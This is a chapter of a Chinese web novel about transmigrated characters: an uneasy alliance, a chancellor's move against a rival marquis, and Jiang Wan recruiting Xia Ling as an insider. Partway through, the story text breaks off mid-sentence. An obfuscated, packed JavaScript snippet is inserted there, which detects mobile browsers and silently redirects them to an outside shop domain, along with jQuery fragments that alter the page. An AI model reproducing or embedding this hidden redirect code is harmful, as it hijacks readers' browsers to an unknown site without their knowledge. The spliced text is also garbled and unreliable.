林远听着他的话,心思凝重,翘起来的二郎腿也下意识的放下。
他可不是个傻子,这人种种迹象和行为举止明显带着目的,甚至是他主动爆出自己是穿书者,来交朋友。
他顿时眼神冰冷看着对面那个笑着的人,叶守拙一直都在观察林远的情绪变化,立刻转变话语。
“公子,结盟如何?我知道姜晚最后去的地方是哪?”
“说不定顺着那儿能找到人,公子考虑考虑?”
“那些势力,可不会轻易放过姜姑娘,公子觉得呢?”这句话带上催促,还有一些暗戳戳的威胁意思。
他说完就没有继续下话头,仿佛故意吊着对方,让对方干着急,等着人追问。
林远下意识脱口而出:“我怎知你这话是真是假?”
“若是你有意诓骗,我岂不就上当了?”他直视对方带笑的眼睛,他所说的那些话,他只信了一半。
叶守拙摇折扇的手停下,将其合上,在手中轻拍,“镇上,城西方向,行六千米,到一间庙宇前,后山会有公子想要的答案。”
“这诚意够了吗?”他一副胜券在握的样子。
林远看向手下,“按他说的去查。”
手下领命,快速离去,叶守拙也不急,也坐在他对面,自顾自倒了一杯茶喝着,悠闲自在,仿佛真把对面的人当好友,当自己家。
林远内心一阵无语,这人怎么这么自来熟?还有些不要脸,长得就一副不安好心,贼眉鼠眼。
他默默翻了一下白眼,去到另一旁的小几上坐着,叶守拙这一次很有分寸的,没有跟过去,又给自己续了一杯茶。
小几上摆了一盘精致的糕点和茶水,林远百无聊赖的吃着,等着手下的人传消息回来。
……
因为只是查看真实性,只有三人前去,城外安排了人接应,确保不会出什么差错。
三轮用轻功来回穿梭,需要一个时辰的路程,硬生生缩短到半个时辰。
庙宇人群来来往往,将整个庙宇装满,三人混入人群中进入到庙中。
他们又随着要去后山的人之中穿过重重阻碍,触目是一大片田地,有些已经长满了菜,有些才刚发芽,荒芜的田地也有香客在耕种,还有一条不算远的河流。
三人分头查看,多多少少都发现了一些线索,残留的布料,还有些未被冲掉的血迹,刀砍过的树干。
有一人顺着河流来到小树林里,看似一片平静安好,其中却充斥了刺鼻的味道,还有若有似无的腐烂味。
那人围着转了一圈才去与其他人汇合,一并回去。
其余的势力来来回回好几遍,都没有什么有价值的线索,把目光转向别处。
回去的过程更快,林远听完,目光打量还在喝茶的人,“看来你知道的不少。”
叶守拙谦虚道:“鄙人不才,姓叶。”
林远听到这个人也姓叶,莫名有些不爽,“林远,只是暂时的结盟,找到人有多远滚多远。”
他说的毫不客气。
叶守拙没有多大惊讶,似是早料到是这种结果,“多谢林公子赏识。”
林远见到他这副嘴脸就烦,挥手让人把他带去别的房间,离他这里远远的。
有了头绪后,第一件事情就是给叶语蓉汇报情况,再下令把别处的人调回来,已经有人捉到他们的尾巴,得重新安排。
京城中,大街小巷热闹非凡,吆喝声不断。
富丽堂皇的丞相府中,丞相在书房看着手下呈上来的信,手指一搭一搭,敲在上面,眼神中满是不屑。
站在一旁的心腹见此,连忙出谋划策:“大人,这滨海船会的背后势力,可是大人死对头,大人不如趁此时机给……”
那人比了个一刀砍的手势,士气很足。
经过他这么一提醒,他才想起来,要不是这人隐藏的太深,早把他左膀右臂给削了。
“这件事情你去办。”丞相吩咐那个提建议的心腹。
那人顿时高兴不已,“下属还有一个提议,大人可以三天后再去解决这件事,这样到时候不仅更加信任大人,更会死心塌地为大人做事。”
丞相那双精明的眼微眯,“哈哈哈,不错,就按你说的办。”
“下属领命。”那人快速退下去,屁颠屁颠下去安排事情。
丞相坐回椅子上,他身后恭敬走出来一个,“大人,您安排的事情已经准备好。”
“确保万无一失,不能出现任何差错。”丞相闭眼,嗓音带上一丝危险。
“大人放心,如有任何差池,提头来见。”身后人发毒誓。
他淡淡抬手,示意他退下。
天气阴沉沉,风雨欲马上就来。
归海码头。
海浪翻动,一下比一下高的打在岸上,声音仿佛也在警醒着什么。
叶语蓉看着码头四周官府的人,手指篡进掌心,留下深浅不一的印记。
归海码头的船员只能待在这里,哪都不能去,想派人出去难如登天。
一滴豆子大小的雨滴砸落在她眉心,紧接着便是无数颗倾泻而出。
顿时,所有人都往船舱里,官府留守的人也是。
林远这也下起了雨,让他莫名心烦的情绪又更加一分,却也只能待在屋内听着手下人对叶守拙的调查。
调查到的很少,只知道他的身份在密招镇上是个富有的茶商,没什么风流事,普普通通,规规矩矩。
这雨下至深夜也没有停,接连后面二日也是细雨连连,所有进展都缓慢。
第四日,这雨在午时之前停了,接连几日的雨将船上的血迹冲掉,让想要解决此事的人更焦头烂额。
雨一停,官府的人又回到原来的位置继续看守,码头的气氛也低迷。
傍晚刚至,上次那个领头的人带着人来,一三十多岁的人走在他前,领头的人对他恭敬无比。
领头的人先于那个人开口,“叶船主,您与滨海船会的事已调查清楚,他们的死与归海码头无关,是他们恶意做如此。”
“我们会将他们都带回官府,此前多有冒犯,我这就将人全部都撤走。”
叶语蓉还没搞清楚状况,只见领头的人将人全部都带走,隐约可见是去滨海船会。
她转过头去看着这位中年男子,“不知你是?”
“我家大人派我来助你。”那人颇自豪的说。
她一猜就知道是谁了,善恶分明的靠山,丞相曹元晟。
“多谢大人出手相助,感激不尽。”她微微拱手。
那人轻哼一声,“之后的事你不用管了,由本大人来处理。”
叶语蓉没太多怀疑:“有劳了。”
两人没说多少话,她原本以为这人会在船上住着,没想到这人早已找好了住处,她也没怎么想留人,只好让人送他回去。
信鸽是第二天中午来到叶语蓉手中,信不可避免被打湿,字迹晕染开,但还能依稀可,她回了信,认同林远的想法,可以这样安排再补充了一些东西。
曹元晟的心腹以雷霆手段,将滨海船会见不得人的勾当通通找出来,以及和背后势力的联系,所有人瞬间被控制,想通风报信都不成。
丞相一上朝就将这些罪证一一呈给皇帝,皇帝震怒,但这些证据只能证明与他有联系,有牵扯,不能直接定死是文远候指使的这些人神共愤的事。
皇帝将他打了五十大板,禁足半年,罚俸两年,违法所得的都给了那些受害人的亲人,这还是他主动认了错给自己自保,算轻的。
丞相这次削了他一大助力,心情愉悦不已,在文
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781592|204272||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
远侯受罚后还去阴阳了一番,将人气吐血。
这几天,夏玲都是和姜晚住在一起,她避免不了的,动了之前想策反她的想法,她知道这人一定知道一些很大的秘密。
夏玲此时正帮着陈恬搬东西,姜晚知道用读心术,读不了她的想法,转而看向她脖子上戴着的一枚玉扣,淡青色的没有任何花纹,她很宝贵,见第一面起好像就一直挂着。
她发动读心术,一段久远有些沉重的记忆进入脑海中。
这枚玉扣是夏玲出生时就一直戴着,她的父母很爱她,只有她一个孩子,家庭也很幸福,人生过得很顺遂,直到一场意外。
她与朋友相约去踏青游玩,不小心跌落悬崖,后面就是她穿越过来一些经历。
姜晚眼神带上心疼,她感受到了那些情绪,压抑、沉重、绝望,以及一颗想回到父母身边的心。
越往后面,有一些像是被纸糊住了,看不清也穿不透,试着触碰却越来越远。
她只能继续往下,越往下被纸糊住的更多,像是有人故意一般,到结束也没有什么很大的线索。
夏玲脑海中似乎与妹妹关系也不错,姜晚有了一些思路。
晚上喝完药,两人都躺上了床,氛围安静,她主动开了口,“夏玲,很抱歉私自看了你的记忆,但我们的目标是相同的,我们都想回现代回家,我觉得我们可以……”
夏玲没听完她的话,就猜想到后面是什么,“我帮不了你们,姜晚你打消这个念头吧。”
说着,她边披上边往外走,眼神带上莫名的情绪看向她。
姜晚心顿时沉下去,她靠在床边等夏玲回来,直到她靠着睡着,人也没回来。
白天也有意避着她,晟子虚一眼就瞧出了情况,他默默在一旁看着,他帮不上什么忙,比起他夏玲更相信姜晚一点。
李大夫两人自然也是注意到,但又做不了什么,只能偶尔推波助澜一下。
姜晚一天之中能见到的次数很少,就这样接连又过了六天。
夏玲算准人睡着了回去拿东西,却被突然如其来的火折子硬生生停下了动作。
姜晚点燃了灯,“夏玲,我们再好好谈谈吧,说不定我真的可以帮你呢?”
夏玲知道躲避只是一时,与她对坐,“我能帮你们的很少,你应当也知道归虚。”
姜晚点头,“这一切都源于它?”
夏玲没说话,算是默认。
她想了想,“不用你做什么违背它的事,你做内应,传递消息,怎么做是我们的事。”
夏玲听完,手指互相搅在一起,有些纠结。
姜晚又继续:“我们的目标都是回到现代回家,与家人团聚,到时候就不用再受它的控制,自由的做自己想做的事。”
她神情出现松动,姜晚趁是再说:“姜念是我妹妹,她也会希望这样。”
姜晚没有在说什么话,留下她一人慢慢想。
夏玲承认她被说动,但一想到归墟,身体控制不住抖动,她见过一些穿书者,见过他们是怎么被一步步……脑海中浮现出见到过的场面,头瞬间刺痛,她被迫去想其他的东西,回想今天发生的事,疼痛感才慢慢退去。
她看向床上躺着的姜晚,手捂上心脏,没有做下决定。
后面几日,她没有在躲着姜晚,姜晚知道这算是一个好的信号。
转眼一个月的时间就快到,夏玲经历过激烈的思想斗争与身体的抗拒,答应了姜晚做内应。
然后她告别,姜晚大概也猜到了,“注意安全。”
是李大夫送夏玲出去,避免迷路在毒瘴气里,她朝李大夫也道了声谢才离开。
姜晚也不禁回想自己这一路的所见所闻所遇,原本只为救妹妹而来,现在似乎又多了一些东西,她不愿再看到有人分离。